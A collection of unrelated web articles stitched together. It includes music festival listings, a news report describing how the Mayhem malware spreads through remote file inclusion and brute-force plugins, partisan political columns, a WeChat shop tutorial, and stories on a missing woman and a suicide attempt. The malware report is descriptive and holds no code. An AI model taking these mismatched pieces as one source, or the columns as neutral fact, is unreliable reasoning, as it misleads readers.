312-961-0044; www.experienceopera.org Peninsula Music Festival, Aug. 1-19; Door Community Auditorium, Fish Creek, Wis.: Surrounded by the natural beauty of Door County, the 65th summer fest under music director Victor Yampolsky will emphasize the music of Dvorak and his contemporaries in three programs. Soloists include pianists Vasily Primakov and Jon Kimura Parker; violinists James Ehnes and Anna Lee; and cellist Mark Kosower. 920-854-4060; www.musicfestival.com West Aspen Music Festival and School, June 29-Aug. 20; Aspen, Colo.: With more than 400 orchestral concerts, recitals, master classes and world premieres, the 69th season offers something for practically every musical taste, with the Colorado Rockies as a magnificent backdrop. "Enchantment" is the theme for programs under music director Robert Spano, including Berlioz's "The Damnation of Faust" and Ravel's "L'enfant et les Sortileges." Soloists include Renee Fleming, Sarah Chang, Gil Shaham, Marc-Andre Hamelin, Conrad Tao, Jean-Yves Thibaudet and Sharon Isbin. 970-925-9042; www.aspenmusicfestival.com Bravo! Vail Music Festival, June 22-Aug. 3; Vail, Colo.: The 30th season will feature residencies by the New York Philharmonic, Philadelphia Orchestra, Dallas Symphony and Academy of St. Martin in the Fields. Five commissioned works will receive world premieres. Dozens of performances and programs for all ages will feature such guest artists as Leonidas Kavakos, Steven Isserlis and Yefim Bronfman, framed by the scenic vistas of Vail Valley. 877-812-5700; www.bravovail.org Cabrillo Festival of Contemporary Music, July 30-Aug. 12; Santa Cruz, Calif.: America's longest-running festival of new orchestral works celebrates the arrival of Cristian Macelaru as music director with a series of commissions that further its commitment to the music of today. Composers in residence include Clarice Assad, Gerald Barry, William Bolcom, Michael Gandolfi, Jake Heggie and David T. Little. 831-426-6966; www.cabrillomusic.org Music Academy of the West Summer Festival, June 12-Aug. 5; Santa Barbara, Calif.: The seaside festival turns 70 with a packed schedule that includes orchestra, chamber and solo concerts, 10 premieres and a new piano competition. In his final appearance as music director of the resident New York Philharmonic, Alan Gilbert will conduct Beethoven's Ninth Symphony, an outdoor performance billed as the largest classical music event in local history. 805-969-8787; www.musicacademy.org Music@Menlo Chamber Music Festival and Institute, July 14-Aug. 5; Atherton, Calif.: The theme of the 15th anniversary season is "The Glorious Violin," exploring the evolution of violin playing and composition and its impact on the musical landscape. Artistic directors David Finckel, cello, and Wu Han, piano, will oversee more than 50 events, including concerts by international artists and an institute for emerging professional chamber musicians. 650-331-0202; www.musicatmenlo.org -Malware dubbed Mayhem is spreading through Linux and FreeBSD web servers, researchers say. The software nasty uses a grab bag of plugins to cause mischief, and infects systems that are not up to date with security patches. Andrej Kovalev, Konstantin Ostrashkevich and Evgeny Sidorov, who work at Russian internet portal Yandex, discovered the malware targeting *nix servers. They traced transmissions from compromised computers to two command and control (C&C) servers. So far they have found 1,400 machines that have fallen to the code, with potentially thousands more to come. "In the *nix world, autoupdate technologies aren't widely used, especially in comparison with desktops and smartphones. The vast majority of web masters and system administrators have to update their software manually and test that their infrastructure works correctly," the trio wrote in a technical report for Virus Bulletin. "For ordinary websites, serious maintenance is quite expensive and often webmasters don't have an opportunity to do it. This means it is easy for hackers to find vulnerable web servers and to use such servers in their botnets." Mayhem spreads by finding servers hosting websites with a remote file inclusion (RFI) vulnerability – it even uses Google's /humans.txt to test for this. If the ad giant rewrote this file, specifically changing the words "we can shake", Mayhem infections would be slowed – until its rfiscan.so plugin is updated. Once the malware exploits an RFI, or some other weakness, to run a PHP script on a victim, it drops a shared object called libworker.so onto the infected system and pings its C&C servers. It then creates a hidden file system, usually called sd0, and downloads eight plugins, none of which were picked up by the VirusTotal malware scanning tool. These include a couple of brute-force password crackers targeting FTP, Wordpress and Joomla accounts – presumably to spread the malware further – and information-gathering web crawlers, one of which hunts for other sites with RFI holes. Some of the vulnerable web applications Mayhem scans for ... click for slightly larger version (Credit: Kovalev, Otrashkevich, Sidorov) The Yandex trio warn there may be other plugins in circulation, based on data found on the two cracked C&C servers. These include a tool specifically to exploit systems that haven't patched the Heartbleed vulnerability in OpenSSL. The team notes that the Mayhem code does bear several similarities to the Trololo_mod and Effusion families of malware, which target Apache and Nginx servers respectively. They recommend system administrators check their servers to make sure Mayhem's spread is limited. ® -Democrats, Paranoia, And Political Violence Michael Tracey Blocked Unblock Follow Following Jun 15, 2017 The contemporary trend of making authoritative extrapolations based on the Facebook “likes” of an alleged assailant often leads amateur sleuths on pointless wild goose chases. It’s difficult to discern with absolute certainty someone’s true political/moral/religious views after a several-hour colloquy, never mind a cursory Facebook skim. Yet, in the aftermath of violent incidents, a person’s social media behavior is frequently taken as dispositive of motivation. Though it’s possible sometimes to make inferences based on Facebook, the idea that you can get a complete character profile based on perusing someone’s online postings is asinine. That said, we do know that Wednesday’s congressional attacker, James Hodgkinson, shared a conspiracy-tinged Change.org link on March 22, accompanied by the caption, “Trump is a traitor.” Once again, it has to be stressed that this information is woefully insufficient to conclude that the perpetrator was motivated by Russia-oriented conspiracy theories. Motivations are multifaceted, and often political beliefs “intersect” with mental distress, causing people to act violently. But the sharing of the link does indicate that Hodgkinson has been affected by the frenzied climate Democrats have stoked around the Russia issue. Once again, for extra emphasis: calling attention to the link Hodgkinson shared is not to say that Democrats are directly culpable for this shooting. That would be ridiculous. But the shared link does show that he was to some extent enmeshed in the conspiratorial paranoia that Democrats have knowingly fostered, at full-blast, for approaching an entire year. One ancillary consequence of fostering conspiratorial paranoia for a full year is that certain people with unstable mental predispositions may latch on and commit violent acts. But Democrats and liberals, in their self-assuredness, have been reticent to acknowledge this byproduct of their current political strategy. Proclaiming that the president engaged in treason — as many members of Congress and media figures have — is going to have an influence on the broader public, and included in that broader public are people who might be deranged and/or have violent inclinations. If you deny that the kind of overblown rhetoric that Democrats have specialized in over the past months — warning about traitorous subterfuge and foreign infiltration — can have any trickle-down effect on regular people, you’re deluding yourself. And yes, this same principle applies across the board. Republicans and conservatives who wail delusionally about Sharia Law and the usurpation of American institutions by scheming Muslims also have this effect. Given that Islam-obsessives promote a political ideology that reeks of paranoia and conspiratorial fancy, it should be no surprise that disturbed individuals occasionally latch on to these beliefs and commit acts of violence. When this occurs, the act can be reasonably attributed to the right-wing provocateurs who have spewed such propaganda for such an extended period of time. Does that mean you can assign direct culpability to any given provocateur for any given violent act? No. To do that would be to make an unfounded claim of causation, and establishing causation is inherently tenuous in these situations. But it’s ridiculous to suggest that political beliefs can’t motivate unstable people to act in certain ways, including in ways that bring about violence. After an attack on the Canadian parliament by a self-styled ISIS devotee in December 2014, Jeet Heer wrote: What seems to be the problem, rather, is the fusion of radical jihadist ideology with other personal problems, whether they be alienation, anomie, or various shades of mental illness […] For a person radicalized in this manner, the fantasy of political violence is a chance to gain agency, make history, and be part of something larger. Jeet stresses that these incidents are almost invariably multi-causal. And to be clear, we don’t have any hard evidence yet that Hodgkinson was mentally ill in a classically diagnosable sense. Still, the fallacy that right-wing trolls are engaged in today is concluding that mono-causal motivation can be attributed on the basis of Hodgkinson’s Facebook posts alone. But it’s equally folly to deny that a person can be influenced to act by their political beliefs. Just this Tuesday, Sen. Kamala Harris showed just how insidious Democrats’ paranoia has become. Coursing through the hearing and the line of inquiry pursued by Democrats was the idea that meeting with Russian state officials ought to be regarded as intrinsically sinister and/or suspicious, and that any such meetings ought to be regarded as evidence of untoward relations between the Trump campaign/administration and Russia. Marco Rubio reminded us that these suspicions are thoroughly bipartisan in nature when he asked Jeff Sessions to reach back into his memory bank and try to deduce whether he had encounters “at any point during the campaign” with a Russian “businessman, or anyone walking down the street” which “in hindsight, appears suspicious.” But Harris took it to another level when she demanded to know whether Sessions had interfaced with “any Russian businessmen or any Russian nationals.” In doing so, Harris expanded the ‘zone of suspicion’ beyond Russian state actors to anyone of Russian nationality. It’s really not hard to imagine how such logic might manifest in extreme acts undertaken by people who take the “Russians behind every bush” allegations seriously. Whether or not Hodgkinson was motivated by Russia hysteria, we’ll probably never know. But we do know that Democrats have engendered an increasingly unhinged political environment. (As, in other ways, has Trump.) Accordingly, Democrats bear responsibility for their role in fostering that environment, a consequence of which is that large portions of the left/liberal grassroots have been driven insane with fantasies of treason and Manchurian Candidate plots. It’s a huge leap to suggest that individual Democrats bear responsibility for any individual act of violence, given the multi-causal reasons why someone might do a thing like this. But ignoring the paranoia that has been stoked is equally wrongheaded. -Egypt's official religious institution tasked with drafting edicts has found 3,000 fatwas (religious edicts) issued by extremists that incite the destruction of churches in the country, Egypt’s Grand Mufti, Dr. Shawki Allam, said on Friday. Dr. Allam rejected the existence of these fatwas, saying: “human diversity is inevitable and divine … the oppression of religions is rejected by law because human relations are a divine formula to achieve coexistence and renounce discord.” The extremist fatwas rejected coexistence between Muslims and Christians in Egypt. Towards the end of 2016, 25 people were killed and 31 wounded in an explosion that targeted the Cathedral of Saint Mark in the Abbasia district in Cairo. A nun cries as she stands at the scene inside Cairo's Coptic cathedral, following a bombing, in Egypt December 11, 2016. (Reuters) The Mufti said that “all attempts aiming to divide between the Muslims and Christians of Egypt have failed.” He added: “Muslims had never destroyed any kind of heritage after their historic victories in foreign countries, in contrary to what ISIS and other extremists are doing now.” He said that they have also found “fatwas inciting the demolition of Cairo and Giza heritage sites, in an explicit violation to the way Islam deals with heritage.” Last Update: Saturday, 1 April 2017 KSA 08:46 - GMT 05:46 -Kingdom’s justice ministry announces move to ‘protect the rights of the woman’, ending practice of only supplying document to husbands Saudi Arabia gives women the right to a copy of their marriage contract Saudi brides will now get a copy of their marriage contracts, a privilege that was previously exclusive to men in the ultra-conservative kingdom, the kingdom’s justice ministry has announced. According to a directorate issued by the justice minister, Walid al-Samaani, clerics who register marriage contracts will now have to hand a copy to the bride “to ensure her awareness of her rights and the terms of the contract”. The suffragettes of Saudi Arabia: 'We try and be reasonable calling for our rights' Read more The decision aims to “protect the rights of the woman and facilitate procedures for her”, the ministry said in a statement carried by SPA state news agency. It said the decision took into consideration that a woman would need a copy of her marriage contract in case of a dispute with her husband and in court. Women need the permission of their male guardians to get married under Saudi Arabia’s interpretations of Islamic law. They also need that permission to travel and work, in a country where they are not allowed to drive and have to cover from head to toe when in public. -Media playback is not supported on this device FA Cup: Scunthorpe 2-2 Chesterfield Jay O'Shea grabbed a late equaliser as Chesterfield battled back to earn an FA Cup replay from a pulsating third-round tie against Scunthorpe. The Iron led thanks to on-loan Chelsea defender Alex Davey's first senior goal and it was 2-0 just before the break when Lyle Taylor ran through to net after a Ritchie Humphreys error. Eoin Doyle's penalty - his 22nd goal this season - gave the visitors hope. And O'Shea struck to make it 2-2 from a Gary Roberts cross to earn a replay. The Spireites, who had to beat MK Dons twice because of an administrative error to reach this stage, showed great spirit to finally break stubborn home resistance and find a way past inspired home keeper Sam Slocombe. Watch every FA Cup goal Click here to find highlights from every game After Davey smashed in a superb opener from the edge of the box, Slocombe made fine saves from Doyle and Armand Gnanduillet to keep the hosts ahead. But a careless back header by Humphreys gifted Scunthorpe a second goal, Taylor showing great composure to run through and beat Tommy Lee. Chesterfield continued to have the upper hand after the interval, forcing more heroics from Slocombe, who denied Gnanduillet, Sam Clucas and Roberts. However, Doyle struck from the penalty spot after Roberts was fouled to make it 2-1. Then, with five minutes left, O'Shea converted Roberts' cross from 10 yards to ensure both sides can still reach the fourth round, where a tie at Championship side Derby County awaits. -A 20-year-old Kansas City woman mysteriously vanished early Sunday morning after being pulled over by police after work — and her family is growing increasingly worried and confused. “None of it makes sense,” Toni Anderson’s mother, Liz Anderson, says of her disappearance. “She could be anywhere at this point.” Toni left work at the Chrome Club shortly after 4 a.m. to meet up with a friend, Kansas City police tell PEOPLE. But she never made it. She was pulled over at 4:30 a.m. by a North Kansas City, Missouri, police officer — a separate jurisdiction from Kansas City — for a routine traffic stop for an illegal lane change, which resulted in a warning. She then stopped for gas, police confirm. Liz Anderson tells PEOPLE her daughter’s debit card was declined at 4:33. At 4:42, she texted her friend, “OMG just got pulled over again.” It is not clear if she was referring to the 4:30 traffic stop or a subsequent one. She has not been heard from since, though she received an incoming call at 4:53. The investigation is being handled by Kansas City, Missouri, police. A spokesman tells PEOPLE there are no signs of foul play, and that they believe the text message refers to the traffic stop by North Kansas City police. But he says, “As time goes on, it is concerning.” To Toni’s mother, the phrasing of that final text does not sit well with her. “I don’t understand why she would write ‘I’m getting pulled over again’ in the same night,” Anderson says. “It just keeps resonating in my brain ‘again,’ ‘again’ … that’s just odd to me.” • Want to keep up with the latest crime coverage? Click here to get breaking crime news, ongoing trial coverage and details of intriguing unsolved cases in the True Crime Newsletter. The day after she went missing, someone on a local Facebook community page warned other users about a person allegedly pretending to be a police officer driving around. “I called 911 as he scared me half to death and almost caused several accidents. Who knows what would have happened had this person gotten someone to pull over and stop,” the woman writes. “When in doubt … call 911 for verification that the vehicle is a police officer. This person clearly was not,” she continues. Toni’s friend, Roxanne Townsend, received the scrutinized text that morning, Anderson tells PEOPLE. “We’ve called every police station, every jail, every hospital, and no one seems to have her,” Townsend told KSHB. ‘You Can’t Imagine the Horror’ Anderson’s family, friends and colleagues are cooperating with investigators, according to police. Police say they have heard no reason to believe Toni is in danger other than the fact that she has no history of running away. “She’s just a beautiful, smart, intelligent, hard working, kind and loving person,” Anderson says. “We just want her back home.” Toni is a sophomore at the University of Missouri–Kansas City, where she studies marketing. In her free time, she reviews music festivals around the country for blogs, Anderson says. According to Anderson, her daughter’s 2014 Ford Focus had a tracking device that sent out pings every eight or 10 seconds for insurance reasons. On the morning of her disappearance, the tracking device sent out its final ping from the gas station. “It just doesn’t make sense to me,” Anderson says. “I have no clue — it’s just bizarre.” • Pick up PEOPLE’s special edition True Crime Stories: Cases That Shocked America, on sale now, for the latest on Casey Anthony, JonBenét Ramsey and more. After several days of searching, Anderson tells PEOPLE she is choosing to stay positive for Toni’s sake. “You can’t imagine the horror of your child missing until you go through it,” she says through tears. “You just don’t know, and we’re just trying to get her message out there, trying to get her face out there to as many places as we can. “I’m trying to just focus on that, I don’t want to focus on my feelings,” Anderson continues. “I’m trying to be strong for my daughter.” Toni has blonde hair, green eyes and is roughly 5 feet 5 inches tall. She was last seen driving her 2014 black Ford Focus. Anyone with information regarding her whereabouts is urged to call police at 816-474-TIPS. -EDMONTON — Cross-border trade and the looming renegotiation of NAFTA top the agenda of the upcoming summer gathering of Canada’s premiers, says host Rachel Notley. Notley says the premiers will hear from Canada’s ambassador to the United States at the meeting of what is known as the Council of the Federation. “We will be focusing mostly on economic matters beginning with a visit from Ambassador David MacNaughton talking about the work that he’s doing in the United States (and) all of us talking about the work that we’ve being doing in terms of building the relationships in the U.S.,” said Notley in an interview. Negotiations are set to begin next month on a re-working of the tripartite 23-year-old North American Free Trade Agreement. U.S. President Donald Trump’s administration formally gave notice in May it wants to renegotiate the deal, labelling it obsolete and unfair to American workers. Trade between Canada and the U.S. is pegged at $600 billion. Prime Minister Justin Trudeau and other premiers have been working with state governors to build cross-border support for the deal. Nova Scotia Premier Stephen McNeil said it’s critical premiers have their voices heard, noting the bulk of his province’s billion-dollar rubber exports and lucrative seafood products go to U.S. markets. “We’re not afraid to have NAFTA looked at and negotiated but I think it’s important that it doesn’t drag on,” said McNeil. “We need to make sure investment confidence is still high.” Premier Wade MacLauchlan of Prince Edward Island said: “We have been the beneficiaries of a growing export economy and intend for that to continue to be the case. We are absolutely for the maintenance of NAFTA and the importance of that trading relationship.” New Brunswick Premier Brian Gallant said he will talk NAFTA, but also for opportunities beyond the continent. “There are opportunities with the comprehensive economic trade agreement between Canada and the European Union and certainly opportunities to see some of the growth in the Asian markets,” said Gallant. Manitoba Premier Brian Pallister wants to address domestic issues as well, including the growing number of refugee claimants crossing into Manitoba from the United States. “I am going to reiterate our call for increased federal partnership and federal resources to improve the processing of asylum claims, for example, (and) to call on the federal government to work with affected provinces and territories to develop a long-term strategy,” said Pallister. Ontario Premier Kathleen Wynne’s office said her priority is trade with the U.S., but she will also discuss infrastructure spending and pharmacare. Dwight Ball, the premier of Newfoundland and Labrador, said he will solicit ideas on job creation, infrastructure investment, skills training and health-care innovations. Quebec Premier Philippe Couillard is expected to speak to his counterparts about his recently released constitutional initiative. The document outlining Couillard’s thinking about Quebec’s place within Canada is entitled “Quebecers: Our Way of Being Canadians.” He has said the goal of his government’s proposal is to “start a dialogue” he hopes will eventually lead to the reopening of constitutional negotiations and to Quebec finally signing the 1982 Constitution. B.C. premier-designate John Horgan will not be attending. He is being sworn in on Tuesday. The province is sending government staffers. Other issues on the agenda include plans to regulate the legalization of recreational cannabis use on July 1, 2018. The provinces will be responsible for implementing regulations on cannabis use, including where and how it is sold, whether the legal age should be higher than 18, keeping roads and workplaces safe, and keeping marijuana out of the hands of children. Notley said provinces will also discuss the fallout from the Supreme Court’s year-old decision in the landmark Jordan case, which delivers hard deadlines to bring criminal cases to trial. More than 200 cases have already been tossed out due to unreasonable delays. The Council of the Federation will meet on Tuesday and Wednesday. On Monday, the premiers are to convene with Indigenous leaders, but that meeting is up in the air. Three of the five First Nations groups announced on Friday they will boycott the meeting, because they believe they should be part of the full Council of the Federation. The Assembly of First Nations, the Metis National Council and the Inuit Tapirit Kanatami have said they will instead hold a news conference in Toronto on Monday. -Today’s WeChat Essential Tip is a little more advanced. We are going to give you a step by step guide on how to set up your own personal shop and start selling on WeChat using Weidian (English name: YouShop). Yes, you too can be part of the Chinese mobile commerce revolution! This article will cover the following: Background info: Weidian basics Download and Registration Process Linking a bank card Setting up your products Promoting your products on WeChat Background info: Weidian basics You can think of Weidian as the mid-ground where Wechat meets Taobao. Weidian’s mobile commerce platform is based on social relationships with no centralized entry point. The industry tends to describe Weidian as a ‘decentralized’ business model. You can post your products information across a wide variety of social media platforms, not only WeChat. Weidian, backed by Tencent, has an ultra streamlined registration and administration processes which makes it simple for anyone to sell goods or services. Things you need to set up your Weidian: A Chinese person’s ID card number The details of a Chinese bank account in that person’s name Things you don’t need to set up your Weidian: A Deposit (the process is entirely free) A Business License Some things to sell (you can act as an agent to sell other people’s things if you wish) Registration Process Step 1: Download and install the Weidian app Search for 微店 (weidian) on the App store or any Chinese Android App Store Alternatively download directly from the official wesite: http://www.weidian.com/ Opening the app and flicking through the intro pages will take you to the login / register page We suggest you skip the normal registering process and just go straight for 微信登录 (login with WeChat). It will ask you to authorize the app to access your personal WeChat info. You will need to input the phone number that you wish to bond to the account. The app will send a message to that phone number with a code for you to input confirming the number is in fact yours. Once you are all done, you can reach the home screen of the app. Where you can see the following options: Swiping to the right reveals further options The little red button at the bottom of the screen has links to lots of tutorials and videos to help you use the app. These will be very useful if your Chinese is good enough to follow. Linking a bank card Okay, so next step. Let’s link that bank card up so we can take payments. Let’s click on the pink ‘Income’ (收入) button at the bottom right, taking us to this page. Select (我的银行卡) ‘My Bank Card’ Now it’s time to get your Chinese friend’s ID card and bank card info, you will need to input it. Once set up and linked you should see a screen like this when selecting (我的银行卡)’My Bank Card’ showing the details of the card linked. You can only link 1 card. Setting up your products Okay now onto the fun part: adding our products. Lets go to the green button in the top right ‘My Products’ You will be met with this screen Setting up a new product is very easy. Add a picture, add a note, fill in your price, inventory amount and a model number (if appropriate). Click (完成) ‘complete’ in the top right when done. Promoting your products on WeChat Upon adding your product, you will be prompted with the following message to share. So you’re ready to go, let’s post our book on our moments first (朋友圈 the 2nd option) After adding a comment, it will appear like this: Similarly posting to a group or chat (微信 the 1st option) will appear like this: Now let’s imagine your friend wants to buy the product. Clicking on the link brings up a page featuring the product with a nice big red buy now button at the bottom. The payment process has several pages where you must confirm various things. The page below is an important option. You can choose to make a direct payment to the seller or take the recommended option of a secured payment, which means the payment will be held from the seller until you confirm that you have received the good. And that’s it. Your first customer has bought your first product. Congratulations! As a final side note, Weidian also has its desktop friendly web browser version that can be found here: http://d.weidian.com/vshop/1/CPC/login.php Alternatives to Weidian Despite what you may be starting to think, this article is not an advert for Weidian, we promise. There are several alternatives to Weidian using a similar model of sales: Youzan 有赞: http://youzan.com/ Paipai : http://wd.paipai.com/ V店 http://vd.cn/ (a rather unfortunate web address) China Channel is in no way associated with Weidian. This article was based on Weidian app for Android Version 5.4.0 Join us tomorrow for our next article in the WeChat Essential Tips series where we will be giving away more free info on WeChat. Follow us on WeChat by scanning the QR code to follow our official account. -at home with AT HOME WITH MATT PIERCE Owner of Wood & Faulk, Portland, OR TARIQ DIXON Sept 16, 2014 | BY Matt Pierce, founder of the artisan brand Wood & Faulk, is a self-described 'tinkerer.' A designer by trade, Matt has been tearing things apart and rebuilding them since his early days in Kansas. We first learned of Mr. Pierce after stumbling upon his beautiful collection of waxed canvas bags - little did we know, Wood & Faulk started only three years prior as a humble DIY blog. Looking for another outlet to explore his passion for creating, Matt began posting his personal secrets for everything from pickling brussels to reclaiming old barn doors. Enthusiasm for his nifty tips quickly compounded, and his lil' ole website soon evolved into a full collection of hand-crafted leather goods. When planning our recent trip to Portland, Mr. Pierce was top of mind, assuming his brand's rugged, yet sleek qualities would translate to a wonderfully masculine and unique home. Certainly, our intuitions didn't fail us. We were thrilled when Matt invited us to spend an afternoon at his incredibly charming, century-old bungalow. Naturally opting for a fixer-upper upon moving to Portland seven years ago, Matt walks us through the process for transforming the historic, but somewhat ailing space into his ideal, lifelong home. We were especially impressed by the personal hand he applies to everything he keeps in his company - from reviving an old Eames lounger himself, to creating a dining table from his home's original ceiling beams. Check out the full tour of Matt's custom-fitted bungalow, and to shop the products inspired by his eclectic style. -Image copyright Ellie Wilkie Image caption Ellie Wilkie shared this image with her father along with their story It's an innocent picture of a man and his daughter, but the emotional story behind it has been shared by thousands of people online. Ellie Wilkie from Edinburgh posted the image on Twitter on Wednesday evening to praise her dad's struggle with mental illness. Skip Twitter post by @ellzthelephant This year began with my dad mentally suffering depression and suicide attempt. Today he ends the year starting his new career in becoming a recovery support worker. Words can’t describe how proud we are #breakthestigma It’s okay not to be okay❤️ pic.twitter.com/HyUu3ZeO2S — Ellie Wilkie (@ellzthelephant) November 22, 2017 Report By Thursday morning, her post had been retweeted by more than 8,000 people and liked by almost 60,000. The words resonated with so many the BBC asked her to share the story behind it. Image copyright Brian Wilkie Image caption Brian says: "My family have been my rock. It's not been easy. It's been a huge effort, but there is light at the end of the tunnel." "This is my dad Brian Wilkie. He suffered bad depression after the passing of our eldest stepbrother, who died from suicide in June 2014. His name was Jordan. "The space in my dad's head became dark. He no longer saw a point to life without Jordan. "In January my dad attempted suicide in the family home. The effect was devastating, but luckily for us he survived. "The pain from losing Jordan was still raw but we were strong and held it together as a family. "The emotions towards my dad were mixed. I resented him for wanting to leave me and my three sisters behind, but at the same time I was devastated thinking about how low he must be. "Life was hard, a struggle. We kept asking ourselves was he going to do it again? Weren't we good enough for him? I lost my dad that day. "Since then he has been on the road to recovery. He's turned his life around. He goes to the gym, he's given up alcohol and gives his all to fighting back and helping others." Image copyright Ellie Wilkie Image caption Brian Wilkie says regular gym attendance helps improve his mental health Ellie says "with specialist help and 100% determination" she and her sisters got their father back. "Our brother was so young. He was only 22 when we lost him. For a close family this was hard, we blamed ourselves and were left picking up the pieces. "My dad is now my hero. I've never met someone so focused to change his life and love it. "I was so proud of him I wanted to tweet it. My post has reached thousands and that's brought me to tears. Image copyright Ellie Wilkie Image caption Jordan pictured with Brian and his stepmother in 2014 "I wanted to tell everyone who may also be suffering it's OK not to be OK, particularly because men are stereotypically supposed to be the strong ones. "I wanted to share awareness and fight back against the 'just get over it' attitude, especially on my brother's behalf. Everyone has their dark days, but you are not alone. "My dad has now been offered a job as a recovery support worker so he'll be helping people with addiction and mental health issues, something so fitting and touching to end the year on." You may also like: Ellie's tweet has provoked a huge reaction from others sharing stories of courage. One user said: "My year started unfortunately exactly the same as your's and we're still working through it with my dad. But I am so happy to hear this for you and your dad." Another posted: "I'm currently going through the same with my mum. If you ever need to talk I'm here. " And another tweet reads: "Amen sis! My dad battled through this five years ago, and now he's striving and being his best self." The hashtag #breakthestigma, used in Ellie's post, has been used more than 7,000 times in a little more than a day. 'Break The Stigma' is a term used to raise awareness of mental health issues. It was used as a hashtag in a NHS backed scheme by mental health survivor Ben Salmons in 2015. The campaign encouraged others struggling to cope with their mental health to share images on social media holding a white board headed "Let's be open about mental health to 'Break the Stigma'." If you or someone you know has been affected by the issues in this story, there are resources and support on the BBC Action Line website. You can follow BBC Trending on Twitter @BBCtrending, and find us on Facebook. All our stories are at bbc.com/trending. -This Friday, we’ll talk with Christine Baranski about her Emmy-nominated role as Diane Lockhart in the CBS legal drama “The Good Wife.” Join us for our live chat on July 25 at 12.30 p.m. PT/3.30 p.m. ET on Gold Derby’s home page. This is Baranski’s fifth consecutive Emmy nomination for “The Good Wife” and her 11th in total. She won for her supporting work on the comedy series “Cybill” back in 1995. She was nominated a further three times for that role and was also nominated once for her guest work on “Frasier” and twice more recently for her guest work on “The Big Bang Theory.” We will talk about Baranski’s impressive Emmy history, and take her back to that first win almost two decades ago. We will also focus on her fifth straight bid for “The Good Wife,” for what many have heralded as her best work to date on the buzzed-about fifth season of the show. She submitted “The Last Call” to the Emmy judging panel. In this episode, Diane grieves over the loss of her law partner and best friend Will Gardner (Best Drama Supporting Actor nominee Josh Charles) alongside her former colleague and now competitor Alicia Florrick (Best Drama Actress nominee Julianna Margulies). Exclusive: Emmy episode submissions revealed for ‘Louie,’ ‘The Good Wife,’Jim Parsons, Claire Danes You can participate in our chat by adding your comments or questions in our chat box that will appear next to the video box on our home page. Or you can participate over at our Google+ page in the Q&A chatroom there. Follow Gold Derby on Facebook, Twitter, Instagram, Tumblr, iTunes and YouTube Will Baranski finally win that elusive Emmy booken this year? Predict her category below and come back this week for our live chat. -Enough nonsense Stop right there: Michigan attorney general sues to stop recount Michigan attorney general Bill Schuette is surely going to catch heat for this - criticism that he’s strictly acting out of partisan concern because he’s a Republican. And yes, Schuette is a very partisan Republican and has been one for a long time. And oh yes, he would certainly like to be our next governor. But no matter who he is, his legal argument is awfully solid that there is no valid reason for a recount of the presidential race in Michigan. It would be extremely time-consuming and expensive - and yes, the state would bear a huge share of the cost - and it’s not going to change a damn thing. Plus, the party who demanded it can hardly claim to be a seriously aggrieved party. That’s Schuette’s position, and he’s asking the Michigan Supreme Court to step right in and put a stop to this nonsense: Michigan Attorney General Bill Schuette wants the Michigan Supreme Court to halt a presidential recount in Michigan before it begins. In a court action filed today, Schuette echoes arguments made for President-elect Donald Trump, arguing Green Party candidate Jill Stein, who received just over 1% of the vote in Michigan, is not an “aggrieved” candidate entitled to a recount, and there isn’t time to complete a recount, even if Stein was entitled to one. “If allowed to proceed, the statewide hand recount could cost Michigan taxpayers millions of dollars and would put Michigan voters at risk of being disenfranchised in the electoral college,” Schuette, in a filing signed by Chief Legal Counsel Matthew Schneider, said in asking the Michigan Supreme Court for immediate consideration of his petition barring a recount. The State Board of Canvassers was supposed to meet this morning to move forward on the recount. Schuette’s motion stops that, at least for now. There’s no guarantee Michigan Supreme Court will agree to bypass the Court of Appeals and go straight to a final and definitive ruling, but given the urgency of the situation - the Electoral College votes in 17 days - this thing can’t be dragged out indefinitely. By the way, even if the recount goes ahead, it’s unlikely to be the hand recount Stein wants. Secretary of State Ruth Johnson has noted that in any recount, the state has the discretion to decide how the recount is conducted - and she has every intention of doing a machine recount if she has to do one at all. Meanwhile, the Michigan Legislature is trying to push through a bill that would require future recount demanders to pay the full cost of the recount. That would not affect situations in which the race is so close that a recount is legally mandated. But that was not the case here. The race was close, with Trump taking the state by just over 10,000 votes, but that’s not mandatory-recount close. And the candidate who came within 10,000 votes of winning is not even the one who demanded the recount, although I would in no way be surprised if Hillary was hiding behind Stein’s skirt so she could claim she was “accepting the results” as she thundered against Trump for supposedly threatening not to do. By the way, I keep hearing people worried that if Michigan, Wisconsin and Pennsylvania start recounts as Stein wants, and don’t get them done quickly enough, all three states could lose their electoral votes entirely. This is apparently based on a quote from Michael Haas, administrator of the Wisconsin Elections Commission, from the Milwaukee Journal-Sentinel: Wisconsin’s last statewide recount was in 2011 for a state Supreme Court seat and the outcome did not change. The recount showed Justice David Prosser defeated challenger JoAnne Kloppenburg by 7,004 votes — a slightly tighter margin than the 7,316-vote victory he had in initial returns. That recount took more than a month. This one would have to happen more quickly because of a federal law that says states must complete presidential recounts within 35 days of the election to ensure their electoral votes are counted. This year, that’s Dec. 13. “You may potentially have the state electoral votes at stake if it doesn’t get done by then,” said Haas. A lawyer with Stein’s campaign has said it wants the recount done by hand. That would take longer and require a judge’s order, Haas said. Let’s deal with this, because from everything I can find the panic over this is almost entirely baseless. What Haas is referring to is that, if there are questions about the certification of the election, Congress could theoretically have the discretion to disregard a state’s results and refuse to recognize its electors. That’s true, technically, but there is zero chance it would actually happen. Wisconsin, Michigan and Pennsylvania can all certify the original results - Stein’s recount demand notwithstanding - and the Republican-controlled Congress is certainly not going to turn away their electors because Jill Stein used a well-timed legal maneuver to rend those certifications arguably invalid. I don’t know if that’s Stein’s real gambit here, but if it is, it has zero chance of succeeding. The only thing she’s doing is mucking up the works and causing a lot of extra work for state employees in three states. Hopefully Bill Schuette’s motion to stop Michigan’s recount is successful, and with any luck the other two states manage to avoid this complete waste of time as well. Donald Trump won the election. That’s a fact and it’s not going to change. We have more important things to do at this point than try to re-run a campaign that no one wants going into overtime. Except the losers, I guess. But they lost. Screw them. Only YOU can save CFP from Social Media Suppression. Tweet, Post, Forward, Subscribe or Bookmark us Dan Calabrese’s column is distributed by HermanCain.com, which can be found at HermanCain Follow all of Dan’s work, including his series of Christian spiritual warfare novels, by liking his page on Facebook. Please adhere to our commenting policy to avoid being banned. As a privately owned website, we reserve the right to remove any comment and ban any user at any time.Comments that contain spam, advertising, vulgarity, threats of violence and death, racism, anti-Semitism, or personal or abusive attacks on other users may be removed and result in a ban.-- Follow these instructions on registering -When cattle are crossing a ford, if the chief bull goes crookedly, all the others go crookedly because their leader has gone crookedly. So, too, among human beings, when the one considered the chief behaves unrighteously, other people do so as well. The entire kingdom is dejected if the king is unrighteous. When cattle are crossing a ford if the chief bull goes straight across, all the others go straight across because their leader has gone straight. So too, among human beings, when the one considered the chief conducts himself 